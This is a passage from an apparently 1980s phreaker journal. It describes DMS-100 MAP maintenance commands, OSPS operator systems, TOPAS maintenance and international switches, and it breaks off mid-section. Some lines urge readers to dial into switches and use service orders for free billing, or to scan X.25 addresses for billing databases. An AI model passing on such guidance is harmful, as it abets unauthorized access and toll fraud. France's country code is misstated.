The MAP is the primary interface between the technician and the DMS-100 family of switches. The main hardware components of the MAP are:

1. Visual Display Unit (VDU) - the MAP terminal
2. Alarm Panel - sends an alarm to the VDU.
3. Communications Module - (telephone) to speak with the subscriber voice
4. Test jacks

.Remote MAP
Since all line and trunk test equipment is an integral part of the DMS-100, no loss in accuracy results when the MAP is remote. Every switch has its own dialup as well. Meaning this is not a theoretical file, you will be able to dial up DMS-100 and perform switch maintenance!

Maintenance
A sophisticated MMI through the MAP terminal is used, to allow a technician to maintain the switch and keep informed of switch operations. Maintenance of

a DMS-100 digital switch is made up of:
1. Manually requested maintenance
2. Scheduled maintenance
3. Automatic maintenance after the detection of faults

Alarms
The system maintains alarms for the more critical areas of the switch, ie. the central controller. A real-time display of the alarms gives the technician constant status reports.

Administration
A Table Editor allows the technician to add new lines or trunks. A Service Order facility allows features such as hunt groups and Multiple Address Directory Numbers (MADN) to be added.

.Maintenance
A common use of line maintenance is in resolving a customer type trouble report. The technician selects the Line Test Position (LTP) option and the selected line is flagged for action by an identifier (ie. directory number, physical location number). The line status information, ie. line state and terminating director number is constantly sent to the MAP terminal by DMS-100.

A functional test of the subscriber's dedicated line card is invoked by DIAGNose. Test equipment measures performance of the line card and reports deviations from defined levels. Here is what a LTP with line diagnostic results appears as on the terminal:

```
   CC      CMC      IOD      Net      PM      CCS       LNS      Trks   Ext
                                                      FDIAG     10 GC
                                                        M        "C"

LTP           POST          DELQ             BUSYQ            PREFIX
0 Quit-
2 Post-
3               LCC PPTY RNG ... LEN ...          DN STAFS LTA TE  RESULT
4 LTPMAN         IBN PSET       HOST 02 1 12 30     772 5016 IDL
5 Busy-
6 RTS-
7 Diagn-                                          HOLD1 722 7861 IDL
8 TstRing                                         HOLD2 722 7862 CPB7227782
9 Almstat-                                        HOLD3 722 7861 IDL D
10 CktLoc         Diagn
11 Hold
12 NextH-            LEN HOST 01 1 12 30  DN 7225016
13 NextP-            DIAGNOSTIC RESULT Card diagnostic OK
14 IBNCON            ACTION REQUIRED:None
15 CSDDS             CARD TYPE 6X21AA
16 LTPLTA
17 LCO-
18 Prefix-
  F
Time   XX:XX
```

Legend: The first line CC CMC... represents the various maintenance subsystem headers.
The second line FDIAG 10GC represents a minor alarm condition for line facility diagnostics and a critical alarm condition for 10 trunk groups.
Alarm status is given in the third line.

Scheduled Line Testing
Full testing of a subscriber loop may be performed using MAP's Line Test Position Line Test Access (LTPLTA). Internal line test equipment (LTU) in DMS

will be physically connected to a subscriber loop with the Metallic Test Access Bus (MTA). Here's what the results of a manually requested line insulation test appear as:

```
   CC      CMC      IOD      Net      PM      CCS       LNS      Trks   Ext
          Clk #0                    1 LGC                        2 GC  2Crit
             M                         M                CR C     "C"    "C"

LTPLTA         POST          DELQ             BUSYQ            PREFIX
0 Quit-
2 Post-      LCC PPTY RNG ... LEN ...                 DN  STAFS LTA TE RESULT
3 MonLTA-
4 TalkLTA-   1FR            HOST 00 27        621 1234 IDL
5 Orig-
6 Lnst-
7 Vdc-
8 Vac-
9 Res-
10 Cap-            LnTST
11 Hold             TEST OK
12 NextH-                                  RES       CAP     VAC     VDC
13 NextP-
14 LTA                       TIP          999..K   0.05OUF  0       0
15 BalNet
16 Coin-                     RING         999..K   0.05OUF  0
17 Ring-
18 DgtTst                    TIP TO RING  999..K   0.57OUF
  GAT2
Time XX:XX
```

Using this command the source of a fault and whether its on the subscriber end or not can be determined. This test is usually run during off-peak hours, using MAP's Automatic Line Test (ALT) and the Automatic Line Insulation Test (ALIT).

System Line Initiated Line Testing
When call processing detects faulty lines they are automatically scheduled to be diagnosed in queue. The outcome is given to MAP, and a record is printed in an office log.

Trunk Maintenance
Executes checking, testing, monitoring, status monitoring and verifying functions to make sure trunks are working right. It also provides a means of quick troubleshooting when a trunk problem occurs, using the telescoping process to pinpoint the problem location. An example of a Centralized Automatic Message Accounting 2-Way (CAMA2W) Trunk is given here:

```
   CC      CMC      IOD      Net      PM      CCS       LNS      Trks   Ext
                                                                 10 GC
                                                                 "C"

       TTP
0 Quit-      POST          DELQ             BUSYQ            DIG
2 Post-      TTP 5
3 Seize-     CKT TYPE       PM NO.         COM LANG       STASR DOT TE RESULT
4            2WY DP MF TMB        424  CAMA2W           1 IDL
5 Bsy-
6 RST-
7 Tst-
8
9
10 CktLoc    Tst
11 Hold       TEST OK
12 Next-       + TRK107 DEC02 14:41:31 8700 PASS CKT               CAMA2W 1
```

```
13 Rls
14 Ckt-
15 Tms1Vf-
16 StkSdr-
17 Pads-
18 Level-
  C
Time  XX:XX
```

A technician can choose to conduct trunk testing manually from the Trunk Test Position (TTP) or automatically from the Automatic Trunk Testing (ATT) level of the MAP.

.Alarms
Are reported at three levels according to their degree of urgency. In order of urgency they are Critical, Major and Minor. Alarm thresholds are defined by an administrator. ie. the percentage of a trunk group that is out of service before a minor alarm is sent. Audible and visible indicators can be used locally, in another part of the building or in a remote monitoring center.

.Administration

The Table Editor
Consists of a set of commands that will create or change data. The tables and Table editor is part of the DMS-100's database software. Control is done at the MAP.

An example of a new trunk addition to an existing trunk group would be:

```
>table trkmem                       /* TABLE Trunk Member
TABLE TRKMEM:
>add otdp1 1                        /*Outgoing Trunk Digit Pulse
                                    /*Element 1
SGRP:
>0                                  /*Subgroup Number
PMTYPE                              /*Peripheral Module Type
>tm 8                               /*Trunk Module Type 8
TMNO:                               /*Trunk Module Number
>0
TMCKTNO:                            /*Trunk Module Circuit Number
>8
TUPLE TO BE ADDED:
   OTDP    1   0   TM8   0   8
ENTER Y TO CONFIRM, N TO REJECT OR E TO EDIT
>y
TUPLE ADDED
(input MUST be in lower case)
```

RANGE will give you a list of legal and advised inputs:

```
>range
1 CLLI                              COMMON_LANGUAGE_NAME
2 EXTRKNUM                          EXTERNAL_TRUNK_NAME
3 SGRP                              TRUNK_SUBGROUP_NUMBER
4 MEMVAR                            MEM_VAR_AREA

LOGICAL TUPLE TYPE:                 L_TRUNK_MEMBER

>range 3
3 SGRP                              TRUNK_SUBGROUP_NUMBER
TYPE TRUNK_SUBGROUP_NUMBER {0 TO 1}
```

Service Orders

Are used to:
- add/remove subscriber service from lines
- add/remove services such as touchtone
- change Line Equipment Numbers (LEN) or the Directory Numbers (DN) of lines

Here's an example of how you can setup a New Single Party Flat Rate (1FR) with options. In this case the new line will be POTS with touchtone (referred to as dgt). The new line is part of line treatment group 1. The phone number or directory number is 555-1212. The line equipment number is 10 1 12 26 (frame 10, unit 1, drawer 14, card 26)

Input in prompt mode:

```
>SERVORD
SO:
>new
SONUMBER: NOW 85 12 02 AM
>                   /* Directory Number
>5551212
LCC:                /* Line Class Code
1fr                 /* Single Party Flat Rate
LTG:                /* Line Treatment Group
>1
LEN:                /* Line Equipment Number
>10 1 14 26         /* Frame 10, unit 1, drawer 14, card 26
OPTION:             /* Subscriber Option
>dgt                /* Digitone Dialing
OPTION:
>$
COMMAND AS ENTERED
NEW NOW 85 12 02 AM 5551212 1FR 1 10 1 14 26 DGT $ ENTER Y TO CONFIRM, N TO
REJECT OR E TO EDIT
>y
```

Input in no-prompt mode:

```
>new $ 5551212 1fr 1 10 1 14 26 dgt $
COMMAND AS ENTERED
NEW NOW 85... etc.
>y
```

Here is another example of how to install a new Electronic Business Set (EBS) with DN 800-555-1212 and LEN 2 0 1. The option Special Billing (SPB) is used with special billing DN 555-0000.

Input in prompt mode:

```
>SO:
>new
SONUMBER: NOW 85 12 02 AM
>
DN_OR_LEN:          /* DN or LEN
>5551212
LCC:                /* Line Class Code
>pset               /* Proprietary Set (EBS)
GROUP               /* Customer Group
>custname
SUBGRP:             /* Sub Group
>4
NCOS:               /* Network Class of Service
>10
SNPA:               /* Subscriber Numbering Plan Area
>800
KEY:                /* Key Number of EBS
>1
```

```
RINGING:            /* Audible ringing?
>y
LEN:
> 2 0 1
OPTKEY:             /* Option on key
>1                  /* EBS key number
OPTION:
>spb                /* Special Billing
SPBDN:              /* Special Billing Directory Number
>5550000
OPTKEY:
>$
```

That is the maintenance interface of DMS-100. If you are under the system, or any other DMSs for that matter go searching for its dialup number. As you can tell, there is no end to the things you can configure with it. Such as giving yourself "special billing" or no billing whatsoever. You can also edit numbers in different NPAs so a dialup in another NPA would suffice.

The LOD Technical Journal: File #6 of 12

Operator Service Position System (OSPS)

By The Enforcer

Introduction

OSPS is a replacement for the Traffic Service Position System (TSPS). For a description of the TSPS console see The Marauder's article in the LOD Technical Journal Number One, File Four. The main difference between the two is that OSPS can be integrated with the 5ESS Switch itself whereas TSPS was only stand alone. OSPS uses the full capabilites of 5ESS and ISDN to provide more services. OSPS also allows for a high degree of automation and by using standard 5ESS configurations, maint. is simplified.

Remote Capabilites

By using 5ESS, OSPS takes advantage of its remote capabilites. OSPS can be used to perform any traditional operator functions and just 1 OSPS switch can handle up to 128 operator teams. This enables operators to be located at one centralized location where thousands of operators work. (To picture this, remember that MCI commercial with all the operators in that giant room) Huge operator centres can be located at great distances from their host areas. Conceivably, one huge OSPS centre could serve the entire nation. OSPS can either be made a component of a 5ESS Switch and handle various services or a single switch dealing with only toll or local calls. Control can be transferred from one OSPS to another. If there is low demand, a system crash or other emergency control can be passed on to another secure OSPS. This process is called interflow. One usage is during off-peak hours, when usage goes down for an OSPS centre to close down, and switch everything to another center. OSPS can use any number of signalling systems, with different languages or country specific requirements.

Architecture

Operator terminals communicate with switches using ISDN paths. This is done by connecting to positioning switch modules (PSMs). PSMs are simply the switching modules (SMs) found on 5ESS. There are numerous other SMs that use analog and digital trunks to perform a variety of services. SMs can be installed remotely in which case they are remote switching modules (RSMs) or

optically remote switching modules (ORMs).

Operator terminals allow operators to regulate calls and transfer data on a ISDN. Basic rate interface (BRI) is an integrated services line unit (ISLU) that connects up to the PSM.

There are four main operator terminals - video display terminal (VDT) for toll assistance, basic services terminal (BST) for listing services, combined services terminal (CST) for both of these functions and intelligent communication workstation (ICW) for International traffic assistance. Knowing these terminals can come in handy when you are dealing with an operator, if you can't get an answer ask to know which terminal they are looking at.

OSPS is automated as much as possible. Digital service units (DSUs) on the SMs provide digital automations when required such as requesting you to insert more red box tones (uh, coins) to continue your call.

The architecture behind OSPS is based on the call processing architecture of 5ESS, and simply copies many of its functions. To originate and terminate OSPS the originating terminal process (OTP) and terminating terminal process (TTP) are used. The OTP is started when a trunk is seized, usually in the initiation of a toll call, and decides where to place the calls such as to automated billing etc. OTP also monitors the calls as its in progress and conducts billing. Should OTP move the call to an operator, it will label it as one of 128 possible conditions based on the dialled number and trunk group. TTP is started when the call goes out from the switch on outgoing trunks to enable signalling.

Automatic Call Distribution (ACD)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

ACD controls incoming calls to operator teams, placing them in queues if needed and directs the call depending on its condition to the right operator. At the OSPS centre, there are 128 teams, 1 for each condition. If there are no available operators ACD will place the call in one for four queue conditions. The first is ringing, the next two are announcements and the fourth is an announcement followed by a hanging-up of the caller. The ACD constantly has the status for every operator. The three conditions are made busy, busy and available. Made busy is an otherwise available operator that isn't ready to receive calls. If an operator team services more than one call type, and if one call type is queued the call with the highest "delay ratio" (the expected wait time) will get the next available operator. Supporting teams, up to 8 of which back up the principle teams act as a "reserve" if the principle ones are busy. Subject to the condition that a queue is backed up higher than the "outflow threshold" and the supporting team doesn't have a queue past the threshold either. The position terminal process (PTP) logs operator status by looking at operator inputs, calls, etc. PTP will then route the call to the operator, place it in a queue or route it to another operator.

PTP
-*-

PTP has four models:

virtual terminal (VT) - Takes keystroke inputs, checks them to see if they are legal commands and passes them on.

feature model (FM) - Handles the status of the operator, if an operator logs in, it will indicate that the operator is now available.

near model (NM) - Processes the operator inputs.

call coordination model (CC) - Handles coordination between PTP and other

operations. For example signalling between PTP and OTP/TTP.

Here is how AT&T describes a typical event:

. A seizure is detected on an incoming trunk, and an OTP is created.
. Signalling information, such as dialled digits and the back number, is collected and analyzed; the need for an operator is recognized.
. Call type is determined from the dialled digits and incoming trunk group to classify this as an OSPS call of type 1. The ACD administrator has assigned type 1 calls with serving team A as the principal team and serving team B as the supporting team.
. The OTP sends a message to the ACD requesting an operator. This message identified the call as type 1 and obtains other call information.
. The ACD determines that calls of type 1 are being queued.
. The call is queued, and the expected delay is calculated. By comparing the expected delay with administratively specified delay thresholds, the ACD determines whether a delay announcement should be provided to the caller. . A message is sent to the OTP with this information.
. The OTP first connects the delay announcement, then provides audible ring to the caller.
. At this point, an operator from serving team B becomes available, and the call of interest has migrated to the head of call type 1 queue. The ACD determines that no calls are waiting in any of the principal queues for team B, and further determines that the next call in the call type 1 queue is eligible to be intraflowed to team B. The ACD informs the OTP to send the call to the available operator from team B by sending a message to the PTP in the PSM. It then marks that position as busy with a call.
. The PTP, via the CC model, establishes the voice path between the caller and the operator and sends appropriate display messages to the operator terminal, via the VT model, to provide the initial call seizure information.
. The customer requests a collect call from the operator who depresses the collect key and enters the number to be called. Messages are sent from the operator terminal to the PTP to relay the information. The VT model processes each incoming message and forwards the message to the near model. The near model marks the call as collect and initiates the connection to the forward party via a new CC model. This results in creation of a TTP and appropriate interswitch signalling to ring the forward party.
. After the forward party answers, the operator secures agreement for the collect billing and releases the call from the position via the position release key. This keystroke is first processed by VT and passed on to the near model. The PTP notifies the OTP of the collect billing arrangements. The talking paths are reconfigured to eliminate the operator position. The two parties on the call are now speaking directly without an operator on the call.
. The operator terminal screen is cleared by VT. The FM reports its status back to the ACD as available to handle another call.
. At the conclusion of the call, a billing record is made by the OTP.

Automation and Efficiency
-*-*-*-*-*-*-*-*-*-*-*-*-

OSPS is designed to be as automated as is possible. It is supposed to make as little use of human operators as can be gotten away with. When you think about it that's the result of OSPS - human operators are becoming less and less needed. If it wouldn't be for all the potential uproar, they'd get rid of all human operators entirely. They are regarded as a horribly expensive way to handle calls. OSPS allows operators comfy little terminals and pulls them out of situations where they are needed as soon as they aren't required. For example after obtaining a number for collect billing, the rest of the process - voice acceptance can be automated.

Many services in the past that were separate are now combined under OSPS. For example toll and directory assistance operators had to be kept available in large numbers to handle call surges. Meaning toll assistance can be queued

up, while directory assistance has available operators. Now with CST, an operator can handle both services.

Data Communications
-*-*-*-*-*-*-*-*-*-

ISDN is used to transfer data in OSPS. External systems can also be reached for such purposes as directory assistance information. Three layers are involved in OSPS operator-switch exchanges:

layer 1 - the physical layer - Gives synchronous data transmission from the terminal to the ISLU.

layer 2 - the link layer - Provides point-to-point exchanges between the terminal and PSM.

layer 3 - the packet layer - Is the layer 3 protocol of X.25. It's a resident virtual circuit for exchanges between the terminals and the SM's processor. Which can be used in switch virtual circuit connections to external databases.

Databases
-*-*-*-*-

OSPS uses databases during most calls. To do such functions as check the validity of calling card accounts to prevent cancelled cards from being used. Millions of database queries take place every 24 hours. Because of the immense size of these databases, they can't all fit in 5ESS. So external databases are used.

Common channel interoffice signalling (CCIS) links OSPS with external data. To link with external computers CC7 is used. Data is returned to OSPS from nodes on CCS such as the line info database (LIDB) or billing validation application (BVA). These two nodes handles your Bell's validation of all collect, third number and calling cards.

The X.25 protocol is also used to connect OSPS with other databases. Each database has an ISDN directory number. So one can scan out the addresses and access them on the public PSNs. Since your RBOC doesn't want people messing around with their BILLING databases, they are put in a closed user group (CUG).

The LOD Technical Journal: File #7 of 12

(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)
Testing Operations Provisioning Administration System
(TOPAS)
LOD - Mystik Freak - LOD
(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)

In order to perform Operations, Administration and Maintenance (OA&M) on switched circuit and facility networks the TOPAS operating system (OS) has been developed. From the "core" of TOPAS the Transport Maintenance Administration System (TMAS) was designed to assist in running the Facility Maintenance and Administration Center (FMAC).

As the telephone network became more and more advanced the conduction of OA&M became increasingly difficult. What's brought about this sophistication has been the later versions of electromechanical switching systems, ISDN etc. In order to keep up Artificial Intelligence (AI) ideas are being used as a basis for TOPAS-ES. TOPAS-ES is designed as an Expert System (ES) replacement for

TOPAS to handle switch circuit operations. TOPAS-ES performs this circuit maintenance using its AI to find and report on network difficulties.

Network Maintenance

In the current 5ESS Switch maintenance is performed by TOPAS and the remote measurement system (RMS-D3). Under 4ESS circuit maintenance system 1 (CMS-1) is used. The purpose of RMS-DX is to allow testing on circuits terminating on switches. The network is monitored as the transmission passes through the XESS Switch, the multiplexer (MUX) and the line terminating equipment (LTE).

TOPAS and CMS-2 continually monitor the network's status and look for deviations from normal operations and then print up trouble reports. Because so many reported problems are transient or falsely reported as a problem, further testing is done to determine real or "hard" problems. Through such procedures as performing tests on one of more than a million scan points or attempting to receive from one or two ends of the circuit.

TOPAS uses two different machines with their own databases when processing: Equipment Interface Tier (EIT) and the Network Support Tier (NST).

EIT - An EIT contains a database that has physical information about a Network Element (NE) machines.

NST - NST's databases are not interested in NE machines or in physical properties and instead uses mathematical models. Even radical network changes will have only minimal effects. Thus the combination of say fiber and copper wiring on the same circuit or the merging of voice and data communications has no great effect. NST can handle everything from basic trunking to complex multipoint circuits.

Both EIT and NST use Common Languages to communicate with each other. NST will for example query NST about specific equipment, while EIT would query NST about network changes. Since EIT and NST are both in the TOPAS core interactions are quite simple.

TMAS

TMAS followed TOPAS and in its design, developers reused almost half of TOPAS's core. Since TOPAS and TMAS speak a common language cooperation between the two is possible. Many report procedures are identical such as the DS-1 facility alarms.

FMAC

TMAS is designed to run with the FMAC. By providing updated route databases, alarm monitoring, detection of network faults etc. TMAS also helps administrate by issuing trouble tickets, switch logs and sending out this data to other personnel from the FMAC.

Expert Systems (ES)

An ES is a system where the program and the knowledge used in decision making are kept apart. The program contains a set of rules, containing what action should be undertook depending on the situation. This is often referred to as a "shell" that controls the activities of its host system (think of the UNIX shell).

ESs in Networks

The maintenance of complex networks is an ideal application for an ES. By having the equivalent of the most capable repair mind on each switch. As all the ESs are using a common knowledge base that has everything known about the problem and the most effective way to solve it. Several other ESs have predated TOPAS-ES such as ACE, NEMESYS and GTE's COMPASS. As any technical worker will attest to, network operations are particularly troublesome as the call carrying capacity must be maximized while trying to minimize the congestion that results when traffic exceeds the call capacity of the switching and transmission system.

TOPAS-ES

TOPAS-ES, is as the name indicates, is an ES version of TOPAS. It works with both TOPAS and CMS-1 in the 4ESS and 5ESS environment. TOPAS-ES has a UNIX routine for each of its three subsystems - knowledge base and inference engine, communication and systems interface and user interface. The inference engine used in TOPAS-ES is "forward chaining" or data driven as it is guided available data to fit prestated conditions to obtain an answer. If it used backward chaining, it would search for data to obtain an answer. Forward chaining is a more effective route to take when data is available and answers to a question (using backward chaining) are unneeded or to slow. Generally, forward chaining in network maintenance is preferred. For example, data indicating that Joe Phreaker is blowing 2600 tones is of more use than attempting to answer a question of "Where are all the foreign tones on the circuit originating from?" To keep up with its immense chores of network monitoring, testing and issuing trouble reports, gathering data and figuring out answers TOPAS-ES runs each of its subsystems at the same time, working in "real time" with the network.

Distributed AI (DAI)

DAI is where multiple processes which normally act independently, co-operate which one another. TOPAS-ES uses DAI to station one TOPAS-ES at one end of the circuit and another on the other end or at the CO. This enables more computing power to be levied at pinpointing the problem and makes for a faster, more reliable system. TOPAS-ES can assume either a director or responder mode. If TOPAS-ES is analyzing a faulty circuit it can request or enlist another TOPAS-ES and place it in the responder mode to assist it.

Expert System Trouble Analyzer (ESTA)

This is one of TOPAS-ES's subsystems and performs the main operations of: trouble ticket analysis and chronic history analysis (CHA).

Trouble ticket analysis: Since few problems reported by TOPAS-ES are genuine ones that require attention, ESTA narrows down the hard from the transient problems. ESTA determines this mostly by ordering TOPAS-ES to wait and perform further monitoring.

CHA: This exposes faults after repeated transient trouble indications. If the problem persists for longer than X amount of time, with over Y indications of trouble it will be labelled chronic. CHA is designed to pick up on problems that have been passed off as transients and ignored. For example a problem may exist during peak hours but will be passed off as a transient when monitored during off-peak hours.

Expert System Trouble Sectionalizer (ESTS)

Once ESTA has determined a trouble to be hard it will pass along a "trouble ticket" indicating such information as its duration, current condition and whether its chronic or not.

When ESTS has been handed a hard trouble it will "sectionalize" the indicated area on the circuit. This is done by having technicians at each end examine points on the circuit and performing other tests. ESTS is based on the best sectionalization techniques, being an ES. An ESTS sectionalization strategy would work like this: 2600 tones are being heard on the network, circuits are all in normal condition, 2600s are not in internal use and have been labelled as unauthorized, foreign sounds so ESTS would deduce that someone is trying to bluebox.

ESTS has a wide list of strategies to try depending on the situation. The most likely to succeed strategies will be attempted first and if this fails all of its strategies will be tried in order of success probability. Once the fault has been pinpointed the relevant repair crew/station will be notified along with a description of the fault.

The LOD Technical Journal: File #8 of 12

International Switching Systems

by Mystik Freak
LOD - LOD

One of the goals behind phreaking has always been to delve into the deepest fathoms of the phone system. Since the barriers of expensive international calling are meaningless to the phreak, the exploration of various telephone systems is possible.

This file will investigate some of the switching systems you are likely to encounter around the world. In other words non-ESS/DMS using nations outside the United States. Nothing has ever been said about these systems in "the underground" and what little information that exists publicly is skimpy, hard to find, badly translated or not translated at all and very outdated.

The foundation of any telephone network is in its switching system so a whole new universe of different switching systems is out there waiting for you. ESS does get boring after a while and there is nothing really novel about if, after all nearly everyone lives under it and there isn't that much to discover about it. So branch out internationally to seek new telephone networks and boldly go where no phreak has gone before!

I won't spoil the thrill of hearing new tones and discovering new things by giving out all the juicy things you're liable to find, instead this is going to be a broad based overview of 7 switching systems:

Sweden - AXE 10
France - E 12
United Kingdom - DSS
Netherlands - PRX-D
Germany - EWS-D
Italy - PROETEO
Japan - NEAX 61

There are far more than just these systems out there as shown by this chart of systems indicates:

System	Country	Type
AFDT1	Italy	local/tandem
AXE 10	Sweden	local/toll
D 1210	US	local
DCO	US	local/toll
DMS 10	Canada/US	local
DMS 100	Canada/US	local/toll
DMS 200	Canada/US	toll
DMS 250	US	tandem
DMS 300	Canada	tandem
DS 1	Japan	tandem
DSC	US	local
DSS 1210	US	local/toll/operator
DTN 1	Italy (Sudan)	tandem
DTS	US	tandem
DTS 1	Japan	toll
DTS 2	Japan	local
DTS 500	Netherlands	tandem
DX 100	Finland	local/tandem
DX 200	Finland	local
EWS-D	Germany	local/toll

E10	France	local/tandem
E10 B	France	local
E10 S	France	local
E12	France	toll
FETEX 150	Japan	local
FOCUS 5	US	local
GTD 5 EAX	US	local/toll
HDX 10	Japan	local
IFS	Switzerland	local
ITS 4/IMA2	US	toll
ITS 4/5	US	local/toll
ITS 5A	US	local
I2000	Yugoslavia	local
LCS 4/5	US	local
MSU	US	local
MT 20/25/35	France	local/toll
NEAX 61	Japan/US	local/toll/operator
No. 3 EAX	US	toll
No. 4 ESS	US	toll
No. 5 ESS	US	local
PROTEO	Italy	local/toll
PRX-D	Netherlands	local/toll
SPC 2	India	local
SX8	France	local
SX 2000	Canada	local
SYSTEM 12 (1210)	US	local/toll/operator
SYSTEM 12 (1240)	Belgium/UK/Germany	local
TDDSS 1/2	China	tandem
TN 5	Italy	tandem
TROPICO	Brazil	local
TSS 5	US	local
UT 10/3	Italy	local
UXD 5	UK	local
1220/PCM-5	Belgium/France	tandem

Sweden - AXE-10 (+46)

The Swedish AXE 10, was developed by Ericsson and in addition to being found in Sweden itself is also being used by over 30 countries.

AXE 10 performs most of the basic functions of international switching, local tandems and offices, national transit etc. It covers everywhere from isolated rural areas with only a few hundred subscribers all the way up to huge transit exchanges of a million subscribers.

AXE 10 has 3 main susbsystems:
SSS - Subscriber and group (GSS) switching
TSS - Trunk signalling and (TCS) traffic control
CHS - Charging, OMS and Maintenance

Other optional subsystems are:
SUS - Subscriber faciltites (OPS) operator functions
MTS - Mobile subscriber functions

Functions that share the same purpose are allotted to one subsystem. A function block is a group of similar functions within the subsystem. For example the subsystem SSS has a function block called the time switch (TS).

Hardware

AXE 10 is a digital switching system. Interconnections between subsystems are called "internal digital trunks". To give an example of AXE 10's hardware

consider the SSS subsystem.

SSS is divided up into lots containing up to 2048 subscribers, up to 128 of these subscribers will then form a line switch module (LSM). Each subscriber has an individual line circuit (LIC) connecting them to the LSM. The LSMs themselves are interconnected by a TS bus (TSB). Each module has a TS that performs switching for the subscriber the TSB and a junctor terminal circuit (JTC).

Traffic within subsystems is handled by internal diagnostic links. If the LSM lacks an internal digital link the call is carried by a TSB to another module. Because SSS uses TSS and TSBs the network runs smoothly as a balance is kept between the subscriber nodes and the internal digital links in use.

Subscriber information can be kept either centrally or remotely. TS 16 in a PCM is used to control a remote exchange. If the SSS is remotely located an exchange terminal circuit (ETC) is used. The PCM will then signal between the remote SSS and the ETC. The signalling is controlled by a signalling terminal (ST) on the SSS and ETC ends of the circuit.

The trunk signalling system (TSS) interfaces external signals into the AXE 10 signalling scheme.

One of the benefits to AXE is that any signalling scheme can be interfaced without impacting on other subsystems. Thus AXE is highly adaptable to network conditions.

In cases where analogue lines are connected by either incoming trunk (IT) and outgoing trunk (OT) circuits conversion to digital takes place. Tone signalling is conducted by code receivers (CRD) or code senders (CSD).

France - E 12 (+47)
~~~~~~~~~~~~~

CIT-Alcatel and Telic (CIT-ALCATEL) developed the E 12 system bases on the earlier E 10 system to handle the functions of:

- international gateway
- inter-city transit
- medium to large urban area transit
- subscriber line switching

Capacity

The capacity of E 12 depends on call duration, signalling etc. The maximum capacity is currently 1536 digital PCM systems of the 30 + 2 type equalling over 40,000 circuits. Processing up to 110 calls a second.

Architecture
E 12 is based on the architecture of its predecessor - E 10B. The three main components are:

- subscriber and circuit connection units
- the central switching system and common control
- computerized supervisory and maintenance centre (CTI)

The CTI is the second control level supervises several exchanges and handles:

- line circuit management
- traffic load data logging
- maintenance and alarms
- billing

Three subassemblies allow speech transmission. The TST switching network, the
~~~~~~~~~~~~~

subscriber connection units (URA) and the circuit connection units (URM).

System Control
Is made up of three levels:

- a processing level in the line and circuit connection units, where subscriber circuits are controlled
- central common switching control
- CTI

First Level Control
Is conducted by:

- 2 markers (MQ)
- 2 translators (TR)
- 2 incurred fee metering units (TX)
- 2-6 multiregisters

All of these units are related to a single switch and communicate on a bus LM.

MQ - interfaces common control to the central switch and subscriber and circuit connection units
MR - receives and retransmits information and adjudicates the opening and closing of connections.
TR - stores subscriber and circuit data
TX - free metering units
OC - control interface unit connects the CTI to other subassemblies.

Subscriber Connection Unit

Because traffic is concentrated on a small number of digital PCM systems, the subscriber connection unit is needed to provide analog to digital conversation. It also handles remote subscribers. The unit connects thousands of lines to a central TS on PCM channels.

Software

switching programs - perform loop status sensing, condition detection, connection and disconnection, switch identification. maintenance subscriber status memories etc.

monitoring programs - monitor the core of CSE, test and fault tracing routines etc.

All programs are written in Assembly.

Functions
E 12 provides:

- CCS7
- traffic observation
- automatic fault tracing
- remote fault tracing
- service grade measurement
- operator assistance position
- automatic call back etc.

Organization
E 12 is organized into three areas:

- the switching network which handles signalling channels and incoming/outgoing multiplexes
- the signalling units which handle channel allocation, CMF, CCS, DTF etc.

- a main SPC computer

All of which are connected to connection units (see the subscriber connection unit).

Programs
The main programs used are:

- program execution system, interfaces with the rest of the systems program
- exchange interface IOP (SEST)
- data interface IOP (SESI)
- signalling processor (SIG)
- common programs (PCO) for data
- call processor (TAP)

Service Management Unit (GES) does man/machine transactions, routing tables and prefixes, signalling type allocations, traffic observation and logs traffic data.

Fault Recovery System (DEF) will reconfigure after a detection of a system failure, providing efficient recovery.

Tracing and fault isolation (TED) will isolate a fault down to the PCB level and carry out CRCs for fault prevention.

Digital Switching Subsystem (DSS) - United Kingdom (+44)

DSS was created by the British Post Office (BPO) to serve as the nations first digital switch.

Subsystems
DSS uses specific hardware and software functions to interface subsystems. The main DSS interfaces are located at the following subsystems:

- call processing system (CPS)
- maintenance control subsystem (MCS)
- analogue line termination system (ALTS)
- network synchronization system (NSS)
- management statistics subsystem (MSS)

The main connecting interface in DSS is a 2048 kbit/s, 32 channel multiplex. Which is used for example to connect the switchblock and auxiliary units.

Trunking

DSS is capable of handling international switching centres of up to 20,000 erlangs and over 400 switch requests a second. To meet this the switch must be multistage. The DSS switchblock has identical originating and terminating circuits. A four-wire multiplex has a transit and receive pair on both ends of the circuit. So information on the busy/free state of both is available from one.

To achieve spatial routing which is necessary for two channels to be connected, DSS uses integrated circuit multiplexers (encoders).

DSS's time dividing in trunking allows single switches to carry large amounts of traffic. The drawback to this is that should a fault occur on this switch, thousands of calls could be disrupted. To ease this risk, synchronous duplication of the TST setup with data comparison and parity checking is done.

Subsystem Functions

- digital line termination unit (DLT) interfaces the four-wire, 32 time-slot 2048 kbit/s multiplexers with the switchblock

- the TS transfers input time slots to output times slots

- space switch (SS) is an integrated circuit set for devices that connect links with the trunk

- alarm monitor unit (AMU) - relieves the main cpu's load by handling alarm data

- primary waveform generator (PWFG) is the clock with DSS is based on. By sending 8 Khz tone start signals and 2048 Khz bit streams, operations are directed

- local synchronization utility (LSU) uses incoming PCM links for timing and maintains the frequency of its oscillators using phase locked loop techniques

- input/output buffer (IOB) stores messages from the software to the CLU

The Time Switch

Buffers the time reception with the time allocated from cross-office switching with the space switch and the actual time of transmission. It also does alarm interfacing between monitoring equipment and trunking. The TS is composed of:

- speech stores (including DLT interfaces and store refining registers)
- control stores
- alarm interface unit (AIU) (including DLT and AMU interfaces)
- TS racks - a complete send and receive switch within DSS. The two TSs are used in trunking are in 1 rack with 32 DLT units.
- space switch - a set of buffer and crosspoint units. Using the 2048 Khz clock, the transmission of traffic is done on the TS interface buffer.

Hardware

The processor utility (PU) IOB is interfaced with the CCU by the PSS IOB. The IOB communicates with the following:

- command field - ordering operations such as measure, trace, opening or the removing of TSs.
- address fields - set network termination numbers (NTNs) that define TSs, circuits etc.
- message identity field
- cross office slot field - makes sure that traces don't duplicate their efforts by setting the points to start from during fault location.

AMU

